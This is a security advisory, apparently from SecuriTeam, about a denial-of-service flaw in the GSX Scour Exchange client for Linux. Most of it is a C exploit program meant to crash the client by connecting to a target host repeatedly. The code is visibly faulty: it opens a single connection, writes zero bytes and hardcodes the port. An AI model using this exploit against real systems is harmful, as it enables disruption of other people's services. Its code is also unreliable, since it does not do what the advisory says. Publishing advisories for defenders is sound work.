SecuriTeam - GSX vulnerable to a DoS (multiple connections)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

GSX is a Scour Exchange client, which simulates the Windows Scour Exchange client. A security vulnerability in the product allows remote attackers to cause a Denial of Service attack against it.

Credit:
The information has been provided by -kilrid.

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Vulnerable systems:
gsx-0.90d
gsx-0.90e

The following exploit code opens multiple connections to the target. The client will crash after several dozen connections are opened.

Exploit Code:
/* tested on gsx-0.90d and gsx-0.90e
/* The GTK scour client for Linux crashes after receiving multiple
/* Connections in a row, to fix, edit tcpip.h and change
/* #define MAXCONNECTIONS 200 to a smaller number than 200, I've only
/* Tested with MAXCONNECTIONS 100, and that seem to work fine.
/* -kilrid@berZerker.net
/* www.Hack-X.org */

#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>

char buf[1024];
char exgsx[] = "0x1d";
int c;
int port;
int sock;
struct hostent *hp;
struct sockaddr_in s;

int main( int argc, char *argv[] ) {

if(argc < 2) { printf("exgsx - kilrid@berZerker.net\nUsage: %s <host> <port> - default 8311\n", argv[0]
);
  exit( -1 );
}

if (argc == 1) {
  port = 8311;
}
if (argc == 3) {
  port = (atoi(argv[2]));
}

hp=gethostbyname(argv[1]);
   if (!hp) {
     perror("Failed to resolve host");
  exit( -1 );
    }
else {
      bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
          s.sin_family=hp->h_addrtype;
           s.sin_port=htons(8311);
if ((sock=socket(AF_INET,SOCK_STREAM,0))<0) perror("can't startup socket");
      if (connect(sock,(struct sockaddr *)&s,sizeof(s))) perror("problem:");
        write(sock, exgsx,0);
          recv(sock, buf, sizeof(buf),0);
   }
}

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